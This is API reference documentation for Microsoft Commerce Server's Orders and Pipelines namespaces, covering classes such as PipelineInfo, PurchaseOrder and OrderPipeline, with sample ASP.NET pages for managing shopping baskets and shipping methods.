Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo Properties (BCL)

Public Instance Properties

Property | Description
CacheManager | Accesses the CacheManager member.
CatalogContext | Accesses the CatalogContext member.
Item(String) | Accesses the indexer by name.
Language | Accesses the language member.
ProfileContext | Accesses the ProfileContext member.
Profiles | Gets the collection of profiles to use for targeting during the execution of the pipeline.


PipelineInfo.CacheManager Property (BCL)

The CacheManager property is a read/write CacheManager object that gets and sets the current CacheManager object.

Definition

[Visual Basic .NET]
Public Property CacheManager As Microsoft.CommerceServer.Interop.Caching.CacheManager
[C#]
public Microsoft.CommerceServer.Interop.Caching.CacheManager CacheManager {get; set;}

Property Value

The current CacheManager class instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.CatalogContext Property (BCL)

The CatalogContext property is a read/write CatalogContext object that gets or sets the current CatalogContext class instance.

Definition

[Visual Basic .NET]
Public Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get; set;}

Property Value

The current CatalogContext class instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.Item Property (BCL)

The Item property is a read/write Object that sets and retrieves the item at the specified index.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the key to get or set.
[C#]
keyName
The name of the key to get or set.

Property Value

The name of the specified key.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.Language Property (BCL)

The Language property is a read/write String that sets the language in which the pipeline runs.

Definition

[Visual Basic .NET]
Public Property Language As System.String
[C#]
public System.String Language {get; set;}

Property Value

The language setting. The default value is CultureInfo.CurrentUICulture.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.ProfileContext Property (BCL)

The ProfileContext property is a write-only ProfileContext object that sets the ProfileContext to use for targeting during the execution of the pipeline.

Definition

[Visual Basic .NET]
Public WriteOnly Property ProfileContext As ProfileContext
[C#]
public ProfileContext ProfileContext {set;}

Property Value

The current ProfileContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo.Profiles Property (BCL)

The Profiles property is a read-only TargetingProfileCollection object that sets the collection of profiles to use for targeting during the execution of the pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property Profiles As TargetingProfileCollection
[C#]
public TargetingProfileCollection Profiles {get;}

Property Value

The TargetingProfileCollection that sets the collection of profiles to use for targeting during the execution of the pipeline.

Example

The following example shows how to target both the User profile and TargetingContext profile:
 CommerceContext ctx = CommerceContext.Current;
             pipeInfo = new PipelineInfo("basket")
             pipeInfo.Profiles.Add("User", ctx.UserProfile);
             pipeInfo.Profiles.Add("TargetingContext", ctx.TargetingSystem.TargetingContextProfile);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder Class (BCL)

This class encapsulates a saved order in the Commerce Server order system. The user and the order ID must both be specified to create an instance of this class.

Public Instance Methods

Method | Description
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on this collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
Save | Saves the modifications to the purchase order to the underlying stores.

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order form collection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
PurchaseOrderID | Retrieves the order group ID associated with this purchase order instance. The value is returned as a GUID structure.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode (Inherited from OrderGroup) | Accesses the order group status code on this OrderGroup instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling, and tax.
TrackingNumber | Accesses the tracking number associated with this purchase order instance.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on this collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Executes the stages of the specified pipeline.
Save | Saves the modifications to the purchase order to the underlying stores.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the the unmanaged resources used by this class and optionally releases the managed resources.


PurchaseOrder.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and to optionally release the managed resources.

Definition

[Visual Basic .NET]
Overrides Protected Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected override void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
A value of True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
A value of True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder.Save Method (BCL)

Use this method to save the modifications to the purchase order to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
)
[C#]
public void Save(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder Properties (BCL)

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order form collection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
PurchaseOrderID | Retrieves the order group ID associated with this ourchase order instance. The value is returned as a Guid structure.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode (Inherited from OrderGroup) | Accesses the order group status code on this OrderGroup instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded (Inherited from OrderGroup) | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal (Inherited from OrderGroup) | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total (Inherited from OrderGroup) | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling, and tax.
TrackingNumber | Accesses the tracking number associated with this purchase order instance.
Xml (Inherited from OrderGroup) | Accesses the XML format of the order group instance.


PurchaseOrder.PurchaseOrderID Property (BCL)

The PurchaseOrderID property is a read-only Guid that retrieves the order group ID associated with this purchase order instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property PurchaseOrderID As System.Guid
[C#]
public System.Guid PurchaseOrderID {get;}

Property Value

The order group ID associated with this purchase order instance

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PurchaseOrder.TrackingNumber Property (BCL)

The TrackingNumber property is a read/write String that accesses the tracking number associated with this purchase order instance.

Definition

[Visual Basic .NET]
Public Property TrackingNumber As System.String
[C#]
public System.String TrackingNumber {get; set;}

Property Value

The tracking number associated with this purchase order instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Orders Namespace

Examples

Example | Description
Code to Manipulate a Basket on an ASP.NET Web Form | Describes how to manipulate a basket on an ASP.NET Web form.
Code to Set Shipping Methods on a Basket on an ASP.NET Web Form | Describes how to set shipping methods on a basket.
Code to Dump an Order Form | Describes how to dump the contents of an order form.


Code to Manipulate a Basket on an ASP.NET Web Form

Use the following code to manipulate a basket on an ASP.NET Web form.

<%@ Page Language="C#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>

<script language="C#" runat="server">

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateBasket();
        }
    }

    void UpdateBasket() {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // This requires that the CommerceContext.UserID property already
        // be set.  It can either be set dynamically if using Commerce Server
        // authentication, or manually.
        Basket shoppingCart =
            orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

        // If the shopping cart has just been created, no order forms
        // will exist and thus, it is unusable.  So a new, default
        // order form must be added.
        if (shoppingCart.OrderForms.Count == 0) {
            shoppingCart.OrderForms.Add(new OrderForm("default"));
        }

        // Execute the product pipeline to ensure we have the latest product
        // information in the basket.
        shoppingCart.RunPipeline(new PipelineInfo("basket"));

        // Bind the default order form to the Repeater control used for
        // displaying its contents.
        BasketListing.DataSource = shoppingCart.OrderForms["default"].LineItems;
        BasketListing.DataBind();

        // Update information about the order.
        SubTotal.Text = String.Format("{0:C}", shoppingCart.SubTotal);

        // This data will not be available after running the basket pipeline
        // alone.
        Tax.Text = String.Format("{0:C}", shoppingCart.TaxTotal);
        Total.Text = String.Format("{0:C}", shoppingCart.Total);

        shoppingCart.Save();
    }

    void AddBtn_Click(object source, EventArgs args) {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // Create and populate an instance of the LineItem class
        // that will be added to the order.  If a product variation
        // was being added, the VariantID would need to be specified
        // for the LineItem instance.
        LineItem item = new LineItem();
        item.ProductCatalog = "Adventure Works Catalog";
        item.ProductID = "AW013-08";
        item.Quantity = 1;

        try {

            // This requires that the CommerceContext.UserID property already
            // be set.  It can either be set dynamically if using Commerce Server
            // authentication, or manually.
            Basket shoppingCart =
                orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

            // Try to add the new line item.  If it fails, we will
            // present the user with a friendly error message.
            shoppingCart.OrderForms["default"].LineItems.Add(item);

            // Execute the product pipeline to ensure we have the latest product
            // information in the basket.
            shoppingCart.RunPipeline(new PipelineInfo("basket"));

            shoppingCart.Save();

        } catch (Exception exc) {

            Status.Text = "Basket unavailable.";
            BasketListing.Visible = false;
            AddBtn.Visible = false;
            return;

        }

        UpdateBasket();
    }

</script>

<html>
<head>
<title>Modify a basket</title>
</head>

<body>

<form runat="server">

    <asp:Label
        id="Status"
        runat="server"/>
    <br/>

    <asp:Button
        id="AddBtn"
        text="Add Item"
        OnClick="AddBtn_Click"
        runat="server"/>
    &nbsp;
    <br/>

    <asp:Repeater
        id="BasketListing"
        runat="server">

        <HeaderTemplate>
            <table width="100%">
                <tr>
                    <td width="35">
                        <b>Qty</b>
                    </td>
                    <td width="175">
                        <b>Product</b>
                    </td>
                    <td width="50">
                        <b>Price</b>
                    </td>
                </tr>
        </HeaderTemplate>

        <ItemTemplate>
                <tr>
                    <td width="35">
                        <%# DataBinder.Eval(Container.DataItem, "Quantity") %>
                    </td>
                    <td width="175">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_name]") %>
                    </td>
                    <td width="50">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_cy_list_price]", "{0:C}") %>
                    </td>
                </tr>
        </ItemTemplate>

        <FooterTemplate>
            </table>
        </FooterTemplate>

    </asp:Repeater>

    <table border="0" width="100%">
        <tr>
            <td colspan="4">
                <hr>
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Subtotal</b>
            </td>
            <td align="right">
                <asp:label id="SubTotal" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Tax</b>
            </td>
            <td align="right">
                <asp:label id="Tax" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Grand Total</b>
            </td>
            <td align="right">
                <b><asp:label id="Total" runat="server" /></b>
            </td>
        </tr>
    </table>

</form>

</body>
</html>

See Also

Basket Class (BCL)

CommerceContext Class (BCL)

OrderContext Class (BCL)

OrderForm Class (BCL)

OrderGroup Class (BCL)


Code to Set Shipping Methods on a Basket on an ASP.NET Web Form

Use the following code to set shipping methods on a basket.

<%@ Page Language="C#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">

    DataSet shippingMethods;

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateBasket();
            shippingMethods = GetShippingMethods();
            Page.DataBind();
        }
    }

    void UpdateBasket() {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // This requires that the CommerceContext.UserID property already
        // be set.  It can either be set dynamically if using Commerce Server
        // authentication, or manually.
        Basket shoppingCart =
            orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

        // If the shopping cart has just been created, no order forms
        // will exist and thus, it is unusable.  So a new, default
        // order form must be added.
        if (shoppingCart.OrderForms.Count == 0) {
            shoppingCart.OrderForms.Add(new OrderForm("default"));
        }

        // execute the product pipeline to ensure we have the latest product
        // information in the basket
        shoppingCart.RunPipeline(new PipelineInfo("basket"));

        // Bind the default order form to the Repeater control used for
        // displaying its contents.
        BasketListing.DataSource = shoppingCart.OrderForms["default"].LineItems;
        BasketListing.DataBind();

        // Update information about the order.
        SubTotal.Text = String.Format("{0:C}", shoppingCart.SubTotal);

        // This data will not be available after running the basket pipeline
        // alone.
        Tax.Text = String.Format("{0:C}", shoppingCart.TaxTotal);
        Total.Text = String.Format("{0:C}", shoppingCart.Total);

        shoppingCart.Save();

    }

    DataSet GetShippingMethods() {

        // The filter used in looking up the shipping methods.
        string filter = "enabled=1 and language_id='en-US'";

        // Create an array that lists the columns we want to return.
        string[] columns = {"shipping_method_id", "shipping_method_name"};

        // Get a reference to the current instance of the OrderContext.
        OrderContext orders = CommerceContext.Current.OrderSystem;

        // Retrieve the available shipping methods, returning only the columns
        // specified previously.  Note that if there are no available shipping
        // methods, an empty DataSet will be returned.
        return orders.GetShippingMethods(filter, "shipping_method_name", columns);

    }

    void ReCalcBtn_Click(object source, EventArgs args) {

        OrderContext orders = CommerceContext.Current.OrderSystem;

        // This requires that the CommerceContext.UserID property already
        // be set.  It can either be set dynamically if using Commerce Server
        // authentication, or manually.
        Basket shoppingCart =
            orders.GetBasket(new System.Guid(CommerceContext.Current.UserID));

        // Iterate through the line items and the selected values, and then
        // associate each selected shipping method with the appropriate
        // line item.
        for (int i=0; i< BasketListing.Items.Count; i++) {
            DropDownList ShippingMethods =
                BasketListing.Items[i].FindControl("ShippingMethodList") as DropDownList;

            // Retrieve the current line item based on its position in the Repeater.
            LineItem item = shoppingCart.OrderForms["default"].LineItems[i];

            // Associate the selected shipping method with the line item.
            item.ShippingMethodID = "{" + ShippingMethods.SelectedItem.Value + "}";
            item.ShippingMethodName = ShippingMethods.SelectedItem.Text;
        }

        shoppingCart.Save();
    }

</script>

<html>
<head>
<title>Set Shipping Methods</title>
</head>

<body>

<form runat="server">

    <asp:Label
        id="Status"
        runat="server"/>
    <br/>

    <asp:Button
        id="ReCalcBtn"
        text="Recalculate"
        OnClick="ReCalcBtn_Click"
        runat="server"/>
    &nbsp;
    <br/>

    <asp:Repeater
        id="BasketListing"
        runat="server">

        <HeaderTemplate>
            <table width="100%">
                <tr>
                    <td width="35">
                        <b>Qty</b>
                    </td>
                    <td width="175">
                        <b>Product</b>
                    </td>
                    <td width="50">
                        <b>Price</b>
                    </td>
                    <td>
                        <b>Shipping Option</b>
                    </td>
                </tr>
        </HeaderTemplate>

        <ItemTemplate>
                <tr>
                    <td width="35">
                        <%# DataBinder.Eval(Container.DataItem, "Quantity") %>
                    </td>
                    <td width="175">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_name]") %>
                    </td>
                    <td width="50">
                        <%# DataBinder.Eval(Container.DataItem, "[_product_cy_list_price]", "{0:C}") %>
                    </td>
                    <td>
                    <asp:DropDownList
                        id="ShippingMethodList"
                        DataSource='<%# shippingMethods %>'
                        DataTextField="shipping_method_name"
                        DataValueField="shipping_method_id"
                        runat="server"/>
                </tr>
        </ItemTemplate>

        <FooterTemplate>
            </table>
        </FooterTemplate>

    </asp:Repeater>

    <table border="0" width="100%">
        <tr>
            <td colspan="4">
                <hr>
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Subtotal</b>
            </td>
            <td align="right">
                <asp:label id="SubTotal" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Tax</b>
            </td>
            <td align="right">
                <asp:label id="Tax" runat="server" />
            </td>
        </tr>
        <tr>
            <td width="52">
                &nbsp;<br/>
            </td>
            <td width="225" colspan="2" align="left">
                <b>Grand Total</b>
            </td>
            <td align="right">
                <b><asp:label id="Total" runat="server" /></b>
            </td>
        </tr>
    </table>

</form>

</body>
</html>

See Also

Basket Class (BCL)

CommerceContext Class (BCL)

OrderContext Class (BCL)

OrderForm Class (BCL)

OrderGroup Class (BCL)


Code to Dump an Order Form

Use the following code to dump the contents of an order form.

using Microsoft.CommerceServer.Runtime;
// For Idictionary.
using Microsoft.CommerceServer.Runtime.Orders;
// For OrderForm.
using Microsoft.CommerceServer.Runtime.Diagnostics;
   // For DumpUtils.

   OrderForm orderForm = basket.OrderForms[0];
   DumpUtils.DumpDictionary(orderForm.Dictionary, new HtmlTextWriter(Response.Output), "OrderForm: " + orderForm.Name);

See Also

Dictionary Class (BCL)

DumpUtils Class (BCL)

OrderForm Class (BCL)


Microsoft.CommerceServer.Runtime.Pipelines

The classes in the Microsoft.CommerceServer.Runtime.Pipelines namespace contain the functionality needed to run pipelines in the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Pipelines Namespace Object Model

Depicts the object model of the Microsoft.CommerceServer.Runtime.Pipelines namespace.

Classes

Class | Description
ContentSelectionPipeline | Creates and runs a Content Selection Framework (CSF) pipeline.
OrderPipeline | Creates and runs an Order Processing pipeline (OPP).
PipelineBase | The abstract base class for pipelines.
PipelineCollection | Stores the collection of pipelines configured for the site.
PipelineExeception | Exception class for pipeline failures.
PipelineExecuteException | Exception class thrown when a pipeline fails to execute successfully.
PipelineLoadException | Exception class thrown when a pipeline fails to load successfully.

Examples

Example | Description
Code to Read a Pipeline Collection and Display Its Properties | Describes how to read a pipeline collection and display its contents.

See Also

Commerce Server .NET Application Framework Tutorial


ContentSelectionPipeline Class (BCL)

A Content Selection Framework (CSF) pipeline.

Public Instance Constructor

Constructor | Description
ContentSelectionPipeline Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the ContentSelectionPipeline class with the specified values.

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the CSF pipeline using Commerce.PooledPipeline.
ToString (Inherited from PipelineBase) | Returns the name of the pipeline.

Public Instance Properties

Property | Description
DebugContext (Inherited from PipelineBase) | Gets the DebugContext for this pipeline.
LoggingEnabled (Inherited from PipelineBase) | Gets a boolean that determines if logging is enabled.
LogPath (Inherited from PipelineBase) | Gets the pipeline log file path.
Name (Inherited from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherited from PipelineBase) | Gets the path to the pipeline .pcf file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionPipeline Constructor (BCL)

Public Instance Constructor

Constructor | Description
ContentSelectionPipeline Constructor(String, String, Boolean, String, DebugContext) | Creates a new instance of the ContentSelectionPipeline class with the specified values.


ContentSelectionPipeline Constructor (String, String, Boolean, String, DebugContext) (BCL)

Use this method to create a new instance of the ContentSelectionPipeline class with the specified parameter values.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal pipelineConfigPath As System.String, _
  ByVal loggingEnabled As System.Boolean, _
  ByVal logPath As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ContentSelectionPipeline(
  System.String name,
  System.String pipelineConfigPath,
  System.Boolean loggingEnabled,
  System.String logPath,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
Friendly name of the pipeline. May not be null.
pipelineConfigPath
Fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
Fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
name
Friendly name of the pipeline. May not be null.
pipelineConfigPath
Fully qualified path to the .pcf file. May not be null.
loggingEnabled
True if pipeline logging should be enabled.
logPath
Fully qualified path to the log file. May not be null if logging is enabled.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws an ArgumentNullException if any of the required arguments are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionPipeline Methods (BCL)

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the Content Selection Framework (CSF) pipeline using Commerce.PooledPipeline.
ToString (Inherited from PipelineBase) | Returns the name of the pipeline.


ContentSelectionPipeline.Execute (Object, Object) Method (BCL)

Use this method to execute the Content Selection Framework (CSF) pipeline.

Definition

[Visual Basic .NET]
Overrides Public Function Execute( _
  ByVal order As System.Object, _
  ByVal context As System.Object _
) As System.Int32
[C#]
public override System.Int32 Execute(
  System.Object order,
  System.Object context
);

Parameters

[Visual Basic .NET]
order
An order dictionary or an OrderForm object. May not be null.
context
Context dictionary object. May be null.
[C#]
order
An order dictionary or an OrderForm object. May not be null.
context
Context dictionary object. May be null.

Return Value

Error level | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed.

Remarks

Throws an ArgumentNullException if the order argument is null.

Throws a CommerceCreateObjectException if the pipeline COM object could not be found.

Throws a PipelineLoadException if the pipeline could not be loaded.

Throws a PipelineExecuteException if there is an exception during pipeline execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionPipeline Properties (BCL)

Public Instance Properties

Property | Description
DebugContext (Inherited from PipelineBase) | Gets the DebugContext for this pipeline.
LoggingEnabled (Inherited from PipelineBase) | Gets a boolean that determines if logging is enabled.
LogPath (Inherited from PipelineBase) | Gets the pipeline log file path.
Name (Inherited from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherited from PipelineBase) | Gets the path to the pipeline .pcf file.


OrderPipeline Class (BCL)

Creates and runs an Order Processing pipeline (OPP).

Public Instance Constructor

Constructor | Description
OrderPipeline Constructor(String, String, Boolean, String, Boolean, DebugContext) | Creates a new instance of the OrderPipeline class with the specified parameter values.

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the Order Pipeline using the Commerce.PooledPipeline or Commerce.PooledTxPipeline object.
ToString (Inherits from PipelineBase) | Returns the name of the pipeline.

Public Instance Properties

Property | Description
DebugContext (Inherits from PipelineBase) | Gets the DebugContext object for this pipeline.
LoggingEnabled (Inherits from PipelineBase) | Gets a Boolean that determines whether logging is enabled.
LogPath (Inherits from PipelineBase) | Gets the pipeline log file path.
Name (Inherits from PipelineBase) | Gets the friendly name of the pipeline.
PipelineConfigPath (Inherits from PipelineBase) | Gets the path to the pipeline .pcf file.
TransactionalSetting | Gets the transactional setting of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderPipeline Constructor(String, String, Boolean, String, Boolean, DebugContext) | Creates a new instance of the OrderPipeline class with the specified parameter values.

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Constructor (String, String, Boolean, String, Boolean, DebugContext) (BCL)

Use this method to create a new instance of the OrderPipeline class with the specified parameter values.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal pipelineConfigPath As System.String, _
  ByVal loggingEnabled As System.Boolean, _
  ByVal logPath As System.String, _
  ByVal transactional As System.Boolean, _
  ByVal dbgContext As DebugContext _
)
[C#]
public OrderPipeline(
  System.String name,
  System.String pipelineConfigPath,
  System.Boolean loggingEnabled,
  System.String logPath,
  System.Boolean transactional,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
A value of True if pipeline logging should be enabled.
logPath
A fully qualified path to the log file. May not be null if logging is enabled.
transactional
A value of True if the pipeline should require running in a transaction.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information released by this class will be output to the user. May not be null.
[C#]
name
The friendly name of the pipeline. May not be null.
pipelineConfigPath
The fully qualified path to the .pcf file. May not be null.
loggingEnabled
A value of True if pipeline logging should be enabled.
logPath
A fully qualified path to the log file. May not be null if logging is enabled.
transactional
A value of True if the pipeline should require running in a transaction.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information released by this class will be output to the user. May not be null.

Remarks

Throws an ArgumentNullException if any of the required arguments are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline Methods (BCL)

Public Instance Methods

Method | Description
Execute(Object, Object) | Executes the order pipeline using the Commerce.PooledPipeline or Commerce.PooledTxPipeline object.
ToString (Inherits from PipelineBase) | Returns the name of the pipeline.

See Also

Code to Read a Pipeline Collection and Display Its Properties


OrderPipeline.Execute (Object, Object) Method (BCL)

Use this method to execute the order pipeline using the Commerce.PooledPipeline or Commerce.PooledTxPipeline object.

Definition

[Visual Basic .NET]
Overrides Public Function Execute( _
  ByVal order As System.Object, _
  ByVal context As System.Object _
) As System.Int32
[C#]
public override System.Int32 Execute(
  System.Object order,
  System.Object context
);

Parameters

[Visual Basic .NET]
order
The Order dictionary or an OrderForm object. May not be null.
context
The Context dictionary. May not be null.
[C#]
order
The Order dictionary or an OrderForm object. May not be null.
context
The Context dictionary. May not be null.

Return Value

The error level.

Error Level | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user in the ASP page.
3+ | Failure. A pipeline component failed.

Remarks

Throws an ArgumentNullException if the order parameter or the context parameter is null.

Throws a CommerceCreateObjectException if the Pipeline COM object could not be found.

Throws a PipelineLoadException if the pipeline could not be loaded.

Throws a PipelineExecuteException if there is an exception during pipeline execution.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

